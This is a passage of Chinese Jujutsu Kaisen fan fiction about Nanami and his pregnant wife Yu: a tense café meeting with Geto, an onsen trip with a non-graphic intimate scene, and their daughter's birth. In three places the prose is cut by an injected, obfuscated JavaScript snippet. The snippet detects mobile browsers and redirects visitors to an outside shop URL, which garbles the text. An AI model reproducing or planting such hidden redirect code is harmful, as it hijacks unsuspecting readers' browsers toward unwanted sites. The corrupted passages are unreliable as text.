床头放着一个相框,里面是乙骨和一个女孩的合照——是祁本里香。 七海把这些东西都收好。 如果乙骨能活下来,这些是他可能想留下的东西。 如果活不下来……至少不该落在总监部手里。 离开公寓时,手机响了。 是悠。 “七海海,你那边……还好吗?”她的声音里透着担忧。 “还好。任务延长了,可能要很晚才回来。” “是出什么事了?” 七海顿了顿:“任务需要观察的那孩子遇到一些突发情况。但已经处理完了。” “那就好。”悠轻声说,“别累到自己。” “嗯。早点睡,不用等我。” 挂掉电话,七海站在夜色里,看着仙台稀疏的灯火。 今晚总监部会有一场激烈的争吵。 他已经想到五条悟在总监会大闹一番,为那个少年争取活下去的机会。 七月末。 悠的预产期只剩两周,走路有些沉重,医生说适当走动有利于生产,所以七海下午都会陪她出来散步。 今天天气很好,阳光明媚但不刺眼。 悠挽着七海的手臂,慢慢走着,时不时停下来看看橱窗里的婴儿用品。 “七海海,你看这个小裙子,是不是很可爱?” “嗯。” “但是新生儿好像穿不了裙子……还是买连体衣实用。” “对,喜欢吗?我们先买回去等之后再给她穿。” 两人就这样有一搭没一搭地聊着,气氛温馨。 七海一直保持着比悠慢半步的速度,一只手虚扶着她的腰,随时准备在她累的时候让她坐下休息。 路过一家咖啡馆时,悠有点渴了:“我们进去坐坐吧?” “好,悠、小心台阶。” 然而刚推开咖啡馆的门,七海的动作突然顿住了。 他的身体微微绷紧,握住悠的手紧了紧——全身戒备。 悠疑惑他的变化,顺着他的视线看去。 靠窗的位置坐着一个男人,黑色长发在脑后扎成丸子头,额前有显眼的刘海,穿着深色的袈裟。 男人正在看书,侧脸线条温和,看起来像个学者或僧侣。 但七海的反应告诉悠,这个人不简单。 除此之外……那个男人身上的线,不仅是各种颜色的复杂交织,还有胃部那像黑洞一样,盘旋扭曲不断的咒灵在里面挤压。 男人似乎感觉到了视线,抬头看过来。 他的目光先落在七海身上,然后移向悠——那一瞬间,悠看到了他眼中闪过的东西。 一开始还是善意。 紧接着是一种……评估,然后是某种掩饰得很好的厌恶。 然后男人笑了,笑容温和有礼:“这不是七海吗?好久不见。” 七海把悠往身后带了带,动作很自然,但保护意味明显:“夏油前辈。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154107|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夏油杰——悠想起来这个名字。 七海以前偶尔提过一次,高专时期的学长,和五条先生同期…… “没想到能在这里遇见。”夏油杰合上书,站起身走过来。 他的目光再次落在悠身上,笑容不变:“这位是?” “我妻子,悠。”七海的声音很平静,身上的线紧张又紧绷尖锐的指向夏油杰。 “初次见面。”夏油杰对悠微微颔首,礼节周到,“我是夏油杰,七海以前的学长。恭喜你们。” 他的语气无可挑剔,但悠就是觉得不舒服。 不是因为他做了什么,而是因为他那种……看她的眼神。 像是在看什么无关紧要的东西,甚至更糟。 “谢谢。”悠礼貌地回应,手不自觉地抓紧了七海的胳膊。 “七海现在不穿西装了?”夏油杰的视线回到七海身上,笑容里多了点别的意味,“没听说你结了婚,真是让人意外,竟然也不通知一下我这个老学长。” “人都会变。”七海说,“前辈倒是没什么变化。” “是吗?”夏油杰笑了,“我倒觉得自己变了很多。不过看到学弟过得这么……安稳,也挺好的。” 他特意在“安稳”上顿了顿,语气微妙。 七海没接话,只是说:“我们还有事,先走了。” “这么急?”夏油杰歪了歪头,“难得遇见,不坐下聊聊?我请客。” “下次吧。”七海拒绝得很干脆,“我妻子她需要休息了。” “啊,对。”夏油杰的目光再次扫过悠的腹部,那个眼神让悠本能地感到不安,“预产期快到了吧?要好好照顾自己哦,七海太太。” 他又笑了,那个笑容完美无瑕:“毕竟普通人的身体,在这种时候很脆弱呢。” 空气突然冷了下来。 七海上前半步,完全把悠挡在身后:“前辈,请注意言辞。” “我说错什么了吗?”夏油杰一脸无辜,“只是关心而已。毕竟七海你现在有家室了,做事要更小心才行。万一……牵连到普通人,就不好了。” 他的话里有话,七海听懂了。 悠握住了七海的手——这个看似温和的男人,对她有种掩饰不住的轻蔑。 “不劳费心。”七海的声音冷了下来,“我们走,悠。” 他搂着悠转身离开,动作保护性十足。 七海全程都保持着戒备,直到走出咖啡馆很远才稍微放松。 “七海海,”悠小声问,“那个就是你说的夏油杰……” “他是一个危险人物。”七海说得很直接,“是现在被通缉的特级诅咒师。我们要离他远点,如果以后单独遇见,立刻给我打电话。” “他以前不是你的学长吗?” “以前是。”七海握紧她的手,“但现在不是了。悠,答应我,以后看到他就避开,他对普通人充满了敌意,试图建立一个只有咒术师的世界,是个为了实现理想弑父杀母的疯子。” “嗯。”悠用力点头,“他看我的眼神还有线……让我不舒服。” 七海停下脚步,转身面对她,很认真地说:“不要在意他说的话。你是我的妻子,是我最重要的人。其他人的看法,都不重要。” 他的眼神里有种罕见的锋利:“如果谁敢伤害你,我不会放过他。” “我知道。”垫脚有些困难,她亲了亲他的衣领,“我有你保护嘛。” 七海的神色缓和下来。 他重新搂住她,继续往前走,但这次走得更快了些,像是想尽快离开这片区域。 走出商业街时,七海突然说:“后天我们去轻井泽吧。预产期前最后放松一下。” “诶?可以吗?” “我查过了,那边的温泉对孕妇有好处。而且环境安静,适合休息。”七海已经拿出手机开始查行程,“住一天,再回来。” “好啊!”悠开心地笑了,“就当是最后的二人旅行?” 七海看着她灿烂的笑容,眼神柔软下来:“嗯。二人旅行。” 60. 温泉 六月的最后一个周末,七海已经把行李全部装上车了。 悠穿着宽松的孕妇连衣裙站在玄关,看着他把最后一个小箱子放进后备箱——里面装着她最近在织的婴儿毯、各种杂七杂八的物品,还有七海特意准备的应急医药包。 “真的需要带这么多吗?”悠笑着问,“只是去两天而已。” “有备无患。”七海关上车门,走过来很自然地扶住她的手臂,“你现在的身体状况,任何突发情况都要提前考虑。” 他的手掌温热有力,扶着她的动作既稳又轻。 悠靠着他慢慢走下公寓台阶。 车子平稳地驶出东京,沿着高速开往轻井泽。 悠靠在副驾驶座上,看着窗外飞速倒退的风景。 怀孕九个月,她的身体确实发生了很多变化——脸颊圆润了些,身材比之前丰腴了,但七海说这样很好,说她“不会太瘦,更有健康的感觉了”。 “在想什么?”七海的声音从旁边传来。 “在想……宝宝出生后,我们还能这样两个人出来旅行吗?”悠转头看他,“到时候要带奶瓶、尿布、婴儿车……估计行李会是现在的两倍。” “那就带。”七海说得很自然,“三个人一起旅行也很好。” 悠笑了:“超级靠谱的七海爸爸。什么东西都提前准备好,连应急预案都有ABCD方案。” “这是基本。”七海推了推眼镜,嘴角有很淡的笑意。 车子驶入山区,空气渐渐凉爽起来。 轻井泽的绿意从车窗外涌进来,满眼的苍翠让人心情舒畅。 预定的旅馆是七海精心挑选的——传统日式温泉旅馆,房间带私汤,离主街不远但足够安静。 老板娘是个和善的中年女性,看到悠的大肚子,立刻贴心地说:“给您安排了最方便的房间,离餐厅和温泉都近,不用走太多路。” 房间是典型的和室,榻榻米上已经铺好了被褥,窗外的庭院里种着青枫和蕨类植物,小石径通向一个被竹篱围起来的露天温泉池。 “好漂亮……”悠站在窗边赞叹。 “你先休息。”七海把行李放好,从箱子里拿出拖鞋放在她脚边,“我去跟老板娘确认晚餐和明天的安排。” 悠换上拖鞋,在榻榻米上慢慢坐下。 怀孕后期确实容易累,坐了不到两小时的车,腰就开始酸了。 她靠着墙,手轻轻抚摸肚子:“宝宝,我们到轻井泽啦。这里很漂亮哦,等你长大了,爸爸妈妈再带你来。” 肚子里的小家伙轻轻动了一下,像是在回应。 七海很快回来了,手里还端着一杯温水:“悠,老板娘说晚餐六点半开始,是当地的特色料理。你现在饿吗?要不要先吃点东西?” “还好。”悠接过水,“就是累……” “躺下休息一会,我给你按按肩膀。”七海很自然地说。 从悠怀孕开始,七海就自学了孕妇按摩手法,每天晚上都会帮她缓解腰背的不适。 开始还有些笨拙,现在手法已经相当专业了。 悠侧躺在被褥上,七海在她身边坐下,温热的手掌贴上她的肩膀。 力道恰到好处,穴位按得很准,悠舒服地叹了口气。 “七海海,好舒服欸。” “熟能生巧。”七海说,手指沿着脊柱两侧缓缓按压,“而且你最近体重增加了,对腰部的压力确实更大。” “你是说我胖了……”悠假装委屈。 “不是胖。”七海纠正,“是必要的体重增加。医生也说你的体重增长在正常范围内。” “那你还说我重……” “我说的是事实。”七海很认真地解释,“怀孕后期胎儿、羊水、胎盘的总重量大约在5-6公斤,加上母体必要的脂肪储备……” “好啦好啦,我知道啦。”悠笑着打断他,“你还是这么一本正经。” 七海的手顿了顿,然后继续按摩,声音轻了些:“我只是希望你明白,你现在这样很好。很健康,很……美。” 悠转过头,看到七海专注的侧脸——他按摩时总是很认真,眉头微皱,像是在执行什么重要任务。 “七海海。” “嗯?” “转过来。” 七海转过来,还没反应过来,悠就凑上去亲了他的嘴角。 一个很轻的,带着笑意的吻。 七海愣了一下,耳朵微微红了。他推了推眼镜,故作镇定地转回去继续按摩:“别闹,还没按完。” “好嘛~”悠乖乖转回去,嘴角却忍不住上扬。 窗外的风吹过庭院,竹叶沙沙作响。 房间里很安静,只有七海按摩时轻微的摩擦声,和悠舒服的叹息声。 这一刻,东京的喧嚣、咒术界的纷争、所有的烦恼都暂时远去了。 这里只有他们两个人,和即将到来的新生命。 傍晚,吃过精致的怀石料理后,悠换了旅馆提供的浴衣——七海特意选了最大号的,穿起来有点像偷穿大人衣服的小孩。 “要不穿带来的睡衣?”七海看着她费力系腰带的样子,眉头微皱。 “不要,这样才有温泉旅行的感觉嘛。”悠终于把腰带系好,虽然打了个比较紧的结,“而且老板娘说了,房间里的私汤可以随时泡。我们晚点去泡吧?” 七海点点头,扶着她走到檐廊边坐下。 庭院里已经亮起了石灯笼,暖黄的光晕在暮色中格外温柔。 “老公?”悠靠在他肩上,“你上次提到的乙骨君的事情……怎么样了?” 七海的身体微不可查地僵了一下:“……怎么突然这么问?” “前天晚上你接电话,我听到了一些。”悠轻声说,“五条老师的声音很大……” 七海沉默了一会儿,有点犹豫但还是说了:“乙骨被总监部判处死刑,但五条拒绝执行。现在乙骨被带回高专,由五条亲自监护。算是……暂时保住了性命。” “那孩子一定很害怕吧……” “嗯。”七海搂紧她,“但这是目前最好的结果了。在五条的保护下,至少安全。” 悠叹了口气:“咒术界……真的好复杂。” “所以我才选择现在这样的工作方式。”七海说,“只接可控的任务,保持距离。我不想被卷进那些纷争里,因为……” 他低头看她:“因为我有更重要的东西要守护。” 悠握住他的手:“我知道。所以你不用解释。” 两人静静坐了一会儿,直到夜幕完全降临,星星开始在天空闪烁。 “去泡温泉吧?”悠提议,“今天走了些路,腿有点酸。” “好。” 房间自带的露天温泉池不大,但很精致。 天然石材砌成的池子冒着氤氲热气,周围用竹篱围起来,既保证了隐私,又能看到庭院景色。 七海先试了水温,确认合适后才扶悠慢慢下水。 温热的泉水包裹住身体,悠舒服地叹了口气。 怀孕后她特别怕冷,这样的温暖正合适。 七海也下了水,在她身边坐下。 温泉刚好到胸口,水汽朦胧中,悠看着他结实的肩膀和胸膛——即使离开了高强度咒术工作一段时间,七海的身材依然保持得很好,那是常年训练留下的痕迹。 “看什么?”七海注意到她的视线。 “看你啊。”悠笑眯眯地说,“我老公身材真好。” 七海别过脸:“……别闹。” 悠笑得更开心了。 她往他那边挪了挪,靠在他肩上。 水面轻轻荡漾,两人在水下若有若无地触碰。 “七海海,”悠轻声说,“等宝宝出生了,我们带她一起来泡温泉好不好?” “至少要三岁以后。”七海理性分析,“婴幼儿皮肤娇嫩,不适合长时间泡温泉。” “那就三岁以后。”悠从善如流,“到时候她应该会走路了,可能会在池子里扑腾……” “我会看好她。”七海说,“不会让她呛水。” 悠想象着那个画面——小小的女儿在温泉里玩耍,七海一脸严肃地在一旁护着,嘴上说着注意事项,眼神却温柔得能化出水来。 想着想着,她笑出声来。 “笑什么?” “我在想那个时候的画面嘛。”悠伸手戳戳他的脸颊,“看着宝宝在浴盆里面扑腾玩水,表面严肃,说着注意安全,其实特别宠女儿。” “我不会溺爱她。”七海认真地说,“但会保护她的。” “我知道~” 泡了十几分钟,悠突然轻轻“啊”了一声,眉头皱起来。 “怎么了?”七海立刻转头。 “腿……好像抽筋了。”悠试着动右腿,但一阵刺痛让她动弹不得。 七海立刻靠过来:“哪条腿?什么位置?” “右腿,小腿肚……” 七海让她转过身,背对自己,然后在水下握住她的小腿。 他的手掌宽大有力,开始缓缓按摩抽筋的部位。 温泉水让肌肉更容易放松,他的手法又准,疼痛很快缓解了。 “好点了吗?”他问,声音就在耳边。 “嗯……好多了。”悠放松下来,靠在他怀里。 这个姿势很亲\密——她背靠在他胸前,他的手臂环着她的腰,另一只手还在轻轻按摩她的小腿。 温热的泉水,朦胧的水汽,还有身后坚实的胸膛,一切都让悠的心跳加快了。 她感觉到七海的呼吸也有些变化,喷在她颈后的气息比平时热。 然后,她后腰处感觉到了什么。 悠先是愣了一下,随即明白了那是什么。 她的脸一下子红了,但更多的是想笑。 “七海海,”她小声说,声音里带着笑意,“你……” 七海的身体僵住了。 他显然也意识到了自己的反应,整个人都绷紧了。 “……抱歉。”他的声音有点哑,试图往后退一点。 “别动。”悠按住他的手,“温泉里,很正常啦。” 话虽这么说,但她的脸还是烫得厉害。 怀孕后,因为身体变化和激素影响,她对某些亲密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154108|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接触的需求确实比以前强。 有时候半夜醒来,看着身边熟睡的七海,会有种想要拥抱他、亲吻他的冲动。 但她知道七海一直在克制——因为她的身体状况,因为医生说孕晚期要避免某些行为。 所以这几个月,他们最多就是接吻和拥抱,七海总是小心翼翼,生怕伤到她。 可现在,在温泉里,在这样亲密无间的氛围里,那些被压抑的突然涌了上来。 悠转过身,面对面地看着七海。 水汽中,他的脸有点红,不知道是温泉热的还是别的什么原因。 眼镜上蒙了一层雾,让他看起来比平时柔和。 “七海海,”她轻声说,“其实我……有时候也会想。” 七海看着她,喉结动了动:“……想什么?” 悠伸手摘掉他的眼镜,放在池边。 七海的呼吸明显急/促起来。 他握住她的手,声音低哑。 悠打断他,脸更红了。 “嘘。”悠凑过去,吻了吻他的嘴角,“乖乖的。” 水声掩盖了所有细小的动静。 七海一开始还想说什么,但很快就被快感淹没了理智。 他紧紧抱着悠,脸埋在她颈窝,呼吸灼热。 结束的时候,七海整个人都有些恍惚。 他靠在池边,把悠圈在怀里,下巴抵在她发顶,久久没有说话。 悠靠着他,感受着他剧烈的心跳慢慢平复。 “七海海,”她小声说,“你这样忍着……会不会很难受?” “……还好。”七海的声音还有点哑,“比起你的身体,这些不算什么。” “可是我刚才感觉到……你好像忍了很久了。” 七海没说话,只是把她搂得更紧些。 过了一会儿,他才低声说:“等你生完宝宝,身体恢复了……”他顿了顿,声音更低了,“到时候……我不会再克制了。” 这话说得直白又露骨,七海自己说完都愣住了,像是没想到会说出这种话。 悠先是呆了一下,然后“噗嗤”笑出声来。 她把脸埋在他胸口,笑得肩膀都在抖。 “七海海……你……”她笑得说不出完整的话,“你居然会说这种话……” 七海的耳朵全红了。他别过脸,但手还紧紧搂着她:“……这是事实。” “我知道啦。”悠抬起头,眼睛笑成了月牙,“我就是觉得……你这样好可爱。” “……别用可爱形容我。” “可是真的很可爱嘛!”悠戳戳他发红的耳朵,“一本正经地说荤话的七海海,超级可爱!” 七海拿她没办法,只能低头吻住她的嘴,堵住那些让他更不好意思的话。 这个吻很深,带着温泉的热度和刚才未散的情绪。 悠回应着他,手环住他的脖子,身体紧紧贴着他。 吻了很久,七海才退开,额头抵着她的额头,声音低哑:“回去睡觉吧。泡太久对你不好。” “嗯。” 七海先出浴池,用大浴巾裹住自己,然后转身扶悠出来,用另一条浴巾仔细地把她裹好。 他的动作很温柔,帮她擦干身体,梳理头发,然后扶着她慢慢走回房间。 被褥已经铺好了,软软的,带着阳光晒过的味道。 七海帮悠躺下,盖好被子,自己才在她身边躺下。 关了灯,房间里只有庭院石灯笼透进来的微光。 悠侧躺着,七海从后面抱住她,手轻轻放在她肚子上。 “老公。”悠轻声叫他,描绘他的掌心 “嗯?” “今天很开心。” “我也是。” “以后我们经常出来旅行好不好?就我们两个人。” “好。”七海吻了吻她的后颈,“等你身体恢复,宝宝大一点,我们去更多地方。” “嗯。”悠满足地闭上眼睛,“晚安,七海海。” “晚安。” 半夜,悠醒来一次。 她翻了个身,发现七海还醒着,正借着手机屏幕的光看什么。 “怎么还不睡?”她迷迷糊糊地问。 “查点资料。”七海收起手机,转过来面对她,“吵醒你了?” “没有。”悠往他怀里钻了钻,“在看什么?” “产后护理的注意事项。”七海很自然地说,“还有一些新生儿常见问题的处理方法。” “……不用这么紧张啦~准爸爸可以休息一下放松一点的──” “提前准备。”七海搂住她,“睡吧,明天带你去附近散步。” 悠心里软得一塌糊涂。 这个男人,总是在她不知道的时候,默默地准备好一切。 她凑上去,吻了吻他的下巴:“我爱你,七海海。” 七海顿了顿,然后很轻但很清晰地说:“我也爱你,悠。” 月光从窗棂洒进来,照亮两人相拥的身影。 庭院里传来细微的虫鸣,远处有溪流的声音。 这个夜晚,轻井泽很安静,很温柔。 61. 后话 隔天,两人踏上归途。 回程的车上,悠睡着了。 七海把车开得很稳,空调温度调得恰到好处。 等红灯的时候,他侧头看看她——悠歪着头睡得正香。 手机震动了一下: 【七海,乙骨正式入学了。一年级,和顺平他们一个班。】 【总监部那边暂时压下来了,但那些老头子不会轻易罢休。】 【你那边怎么样?旅行怎么样?悠酱还好吗?】 七海单手回复:【一切安好。明天回高专。】 五条悟:【不用急,多陪陪悠酱。产前最后阶段了,你这个当爸爸的要好好表现哦!】 七海:【知道。】 过了一会儿,五条悟又发来一条: 【对了,上次说好的事……可别忘了嘛!我保证不会教她奇怪的东西!(大概),成为完美的麻辣教父~】 七海:【考虑考虑。】 【!!!四舍五入就是同意,太好了娜娜明,我要让咱仨的女儿最先管我叫爸爸】 七海:【我收回上面的话,五条悟,你做梦。】 手机又振动弹出几条讯息。 七海黑着脸没回,直接把手机收起来了。 悠在半小时后醒来,揉着眼睛看向窗外:“到哪儿了?” “还有一小时到东京。”七海说,“要喝水吗?” “嗯。” 七海把保温杯递给她。悠小口喝着温水:“七海海,我刚才梦见宝宝了。” “梦见什么?” “梦见她出生了,小小的,软软的。”悠笑着,“你抱着她,一脸严肃地数她有几根手指几根脚趾,然后说‘数量正确,健康’。” 七海推了推眼镜:“……这是我会做的事。” “对吧!”悠笑得更开心了,“不过梦里你还说了一句话。” “什么话?” “你说‘欢迎来到这个世界,我的女儿’。声音特别温柔。” 七海握着方向盘的手紧了紧,没说话。 悠看着他微红的耳根,心里甜蜜蜜的。她伸手摸摸肚子:“宝宝,你听到了吗?爸爸在等你哦。” 肚子里的宝宝轻轻动了一下,像是在回应。 车子驶入东京时,夕阳正好。 橘红色的光洒满街道,把一切都镀上温暖的颜色。 “七海海,”悠看着窗外的景色,轻声说,“和你在一起的每一天,我都觉得好幸福。” 七海转头看她一眼,伸手握住她的手:“嗯。我也是。” 第二天,七海回高专处理积压的工作。顺平看到他,眼睛一亮:“姨夫!你回来了!和小姨的旅行怎么样!温泉好玩吗?” “嗯。”七海把从轻井泽带的特产递给他,“给,当地的点心。” “谢谢!”顺平接过,提了一嘴,“那个……姨夫,高专新来了一个转学生。” 七海动作顿了顿:“乙骨忧太?” “您知道啊?”顺平有些惊讶,“虽然乙骨同学……初次见面看起来超级恐怖,从班外面踏进来我们都感觉到特级咒灵带来的压力了,动都动不了,汗流浃背。 后面乙骨同学和真希对练的时候不下心掉出来那个等级证,真希脸色像是吃了苍蝇而且我听熊猫说,他好像……是特级。” “别打听太多。”七海打断他,指了指天上,意有所指“乙骨的情况比较特殊,五条老师会处理。你做好自己的事就行。小心高层。” “是。” 顺平说:“不过这几天接触,我觉得乙骨同学他……好像很孤单,是个很温柔的人。熊猫和狗卷恶作剧他都笑得很开心,不过偶尔里香太容易吃醋就是。” 七海沉默了几秒:“顺平。” “是?” “所以有些人的路,必须自己走。”七海说得很平静,“我们能做的,就是在他们需要的时候伸出援手。但在那之前,尊重他们的选择。” 顺平似懂非懂地点点头。 离开高专时,七海在走廊遇到了五条悟。 这位特级教师难得没戴眼罩,靠着墙,看着窗外。 “怎么样了?”七海走过去。 “在适应。”五条悟说,“虽然还是很抗拒,但愿意跟顺平他们说话了,慢慢在融入大家呢。里香……也稳定下来了。就是太容易吃醋了,果然是陷入爱恋的女孩子啊~” “那就好。” “对了娜娜明,”五条悟转过头看他,“等悠酱生了,记得通知我。我要第一个去看我干女儿。” “……她还不是你干女儿。” “迟早会是嘛!”五条悟咧嘴笑,“对了,名字想好了吗?” “有几个备选,还没决定。” “记得要起个可爱的名字哦!毕竟是小姑娘嘛!” 七海没理他,转身要走。 “……七海。”五条悟突然叫住他,语气正经了些,“好好珍惜悠酱,现在的生活。你们这样的……在咒术界太少了。” 七海停下脚步,没回头:“我知道。” 回到家时,悠正在厨房切水果。 听到开门声,她转过头,脸上沾了点面粉:“欢迎回来~我在做水果沙拉,味道还没尝……” 七海走过去,看着碗里面有点粘稠过多的酸奶,很自然地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“有我在,我也会保护好你。”七海说,“无论发生什么。” 我都会挡在你们身前。 七海温柔的看着她。 身边是对织毯子重新投入注意力的悠,看着她隆起的腹部,看着她眼中温柔的光。 恍惚间,仿佛又回到了那个夏天。 他想起了夏油杰疲惫的眼神,想起了总监部的暗流,想起了灰原追着夏油开心大喊‘前辈’的背影。 然后他收回思绪,伸手搂住悠的肩膀。 “怎么了?七海海?”悠抬头看他,“不开心?” “嗯……想起一些往事。”七海低头吻了吻她的额头,“不过现在……只是觉得,有你真好。” 悠靠进他怀里:“我也是。” 62. 生产 温泉旅行后进入预产期的倒计时。 七海比平时还要紧张,时刻注意着悠的一举一动,任务全部推掉。 凌晨三点。 悠在睡梦中感觉到一阵不同于往常的宫缩——不是假性宫缩那种轻微的紧绷感,而是从腹部深处传来的、带着钝痛的收缩。 她睁开眼,手本能地抚上肚子。 那些从自己身体深处蔓延出来的、代表“生命”的金色线条正以前所未有的强度搏动着,如同光的脉动。 它们连接着她和腹中的孩子,形成一个完整而璀璨的网络。 身边的七海几乎同时醒来。 “悠?”他的声音带着沙哑,但意识已经清醒,“是哪里不舒服?” “肚子……”悠吸了口气,“有点痛,和平时不太一样。” 七海立刻坐起身,打开床头灯。 温暖的灯光下,他看见悠眉头微蹙,手紧紧按着腹部。 他看了一眼墙上的挂钟——凌晨三点零七分。 “间隔时间怎么样?或许是是提前发动了。”他问,声音带着点紧绷。 “还不太规律……但刚才那阵比较明显。”悠说,额头上已经渗出细密的汗珠。 七海没有犹豫。 他掀开被子下床,动作迅速但不慌乱:“预产期是八月二日,现在是三十八周零六天,属于足月生产范畴。根据我们之前的应急预案,现在需要去医院。” 他一边说一边已经开始行动——从衣柜里拿出早已准备好的待产包,检查里面的物品:病历、医保卡、母子手册、换洗衣物、洗漱用品、充电宝。然后他回到床边,蹲下身握住悠的手。 “能走吗?还是需要我抱你?” 悠看着他沉稳的脸,心里那点慌张奇迹般地平复了。 她点点头:“能走,就是……有点疼。” 七海扶着她慢慢起身,帮她穿上宽松的外套。 每一次宫缩袭来时,他都让她靠在自己身上,手轻轻抚着她的后背,低声说:“深呼吸,就像我们练习的那样。吸气——呼气——” 凌晨的东京街道空旷安静。 七海的车开得平稳迅速,二十分钟后就到了预定好的私立医院。 值班护士看到他们,立刻推来轮椅——但悠摆摆手,坚持自己走。 “宫口开了两指。”检查后,医生对七海说,“初产妇产程一般较长,但您太太身体条件很好,应该会比较顺利。可以先到待产室休息,有情况随时按铃。” 单人待产室里,悠换上医院的衣服,靠在床头。 宫缩越来越规律,疼痛也渐渐加剧。 每一次宫缩袭来,那些线条就会剧烈跳动。 七海坐在床边的椅子上,一只手握着她的手,另一只手拿着手机在记录宫缩间隔。 悠抓紧床单,汗水浸湿了头发。 七海一直握着她的手,从未松开。 他的手掌宽大、温热、稳定,像锚一样将她固定在这个痛苦的现实中。 “七海海,”悠在阵痛间隙小声说,“好痛……你比我还紧张。” 七海抬起头,安抚的紧握她的手,给她力量,“我……没有紧张。只是……” “可是你手心都是汗。” 七海顿了顿,松开手看了一眼,然后若无其事地擦在裤子上:“好吧,是室温过高。” 悠忍不住笑了,但笑容很快被下一阵宫缩打断。 她抓紧床单,呼吸变得急促。七 海立刻起身,一只手继续握着她的手,另一只手轻轻抚着她的后背。 “呼吸,悠。跟着我的节奏——吸气,二,三,四;呼气,二,三,四。” 他的声音低沉平稳,像有魔力般让悠的注意力从疼痛上移开。 她跟着他的节奏呼吸,感觉疼痛似乎真的减轻了一些。 悠安抚的笑笑,但下一波疼痛袭来。 她清晰地看见,一根特别粗壮的暗红色从自己下腹部猛地窜出,向上蔓延。 不过……在那根线即将触及她心脏位置的瞬间,无声无息地消散了。 就像橡皮擦擦去铅笔痕迹。 疼痛骤然减轻了一半。 悠愣住了。 她甚至没意识到自己做了什么——如果那算是“做”了什么的话。 “悠?”七海注意到她表情的变化,“怎么了?” “七海海……没事。”悠摇头,努力掩饰震惊,“就是……这阵痛过去了。” 时间在阵痛中缓慢流逝。窗 外的天色从深黑转为靛蓝,又渐渐透出晨光。 护士每隔一小时来检查一次,宫口在慢慢打开。 上午九点,宫口开了六指。 悠被推进产房,七海换上了消毒衣跟在旁边——早在几个月前就和医院沟通好了陪产事宜。 真正的生产比悠想象中更艰难,也更漫长。 疼痛排山倒海般袭来,她用力时感觉自己快要被撕裂。 汗水浸湿了头发,暗红色的线条几乎要淹没视野。 但七海一直握着她的手。 他从始至终没有松开过,即使在最激烈的时刻,他的手也稳稳地支撑着她。 “悠,看着我。”他在她耳边说,声音坚定有力,“你可以的。你很坚强,我们的女儿在等着你。” “我……我没力气了……”悠哭着说,声音已经嘶哑。 “你有。”七海用额头抵着她的额头,这个亲密的动作让悠睁开了眼睛,“你是我见过最坚强的人。再努力一次,为了你,为了我,为了我们的孩子。” 悠在朦胧中看见他们之间的那条命运的红线——那根从相遇起就存在,随着时间越来越粗、越来越亮的线条——此刻正发出太阳般的光芒。 他的眼睛在镜片后闪着光——那不是泪,是某种更沉重、更真挚的东西。 悠咬紧牙关,用尽最后的力气。 然后,她听到了——一声清脆响亮的啼哭。 时间定格在上午十一点四十七分。 “恭喜,是个健康的女孩!”助产士的声音传来。 但七海的第一反应不是去看孩子,而是紧紧盯着悠。 她的脸苍白如纸,整个人像被抽空了所有力气,眼睛半闭着,呼吸微弱。 “悠!”七海的声音里罕见地带上了一丝惊慌,神色慌张“医生,我妻子——” “产妇情况稳定,只是脱力了。”医生检查后说,“让她休息一下。爸爸要不要看看女儿?” 七海这才转过头。 护士抱着一个小小的、裹在襁褓里的婴儿走过来。 那个小生命皮肤还皱皱的,眼睛紧闭着,但哭声洪亮有力。 七海伸出手,动作僵硬得像个机器人。 护士笑着把婴儿放进他怀里:“托住头,对,就这样。” 那么小,那么软。 七海看着怀里的女儿,感觉整个世界都在这一刻静止了。 然后……他数了数——手指十根,脚趾十根,呼吸平稳,哭声健康。 悠在模糊的视线中,看见女儿身上散发出柔软而纯净的白色光芒,而一根崭新的、无比璀璨的金色线条正从自己心脏位置伸出,轻轻连接着那个小小的生命。 同时,另一根同样璀璨的金色线条从七海心脏位置伸出,也连接向女儿。他们三人之间,一个完整的、三角形的金色网络正在形成。 “羁绊……”悠喃喃道,终于放任自己沉入黑暗。 七海抬起头,想对悠说什么,却发现她已经完全闭上了眼睛。 “悠!”他的声音更急了。 “让她睡吧。”医生说,“孕妇生产过程消耗太大,睡眠是最好的恢复。七海先生您先带女儿去做基础检查,等会儿护士会将产妇会转到病房。” 七海犹豫了。 他看着怀里小小的女儿,又看看床上疲惫不堪的妻子,第一次感到什么叫分身乏术。 “七海先生?”护士轻声提醒。 七海深吸一口气,他抱着女儿,弯下腰在悠汗湿的额头上印下一个轻吻:“好好休息,悠。我和女儿等你。” 然后他直起身,跟着护士走出产房。 每一步都走得很稳,因为他怀里抱着的是他和悠共同创造的最珍贵的宝物。 悠醒来时,首先感觉到的是疼痛——全身都在痛,尤其是下腹部。 但比疼痛更清晰的是,她看见了自己身上的线。 那些在怀孕期间变得格外明亮的线条,此刻正在发生奇妙的变化。 她自己身上的其他线条,那些因为生产而紊乱、暗淡的线,正在以肉眼可见的速度重新排列、恢复亮度。 她眨了眨眼,试着动了动手指。 不痛了?不,还是痛的,但痛感在迅速减轻。 她又试着抬了抬腿——虽然虚弱,但动作顺畅。 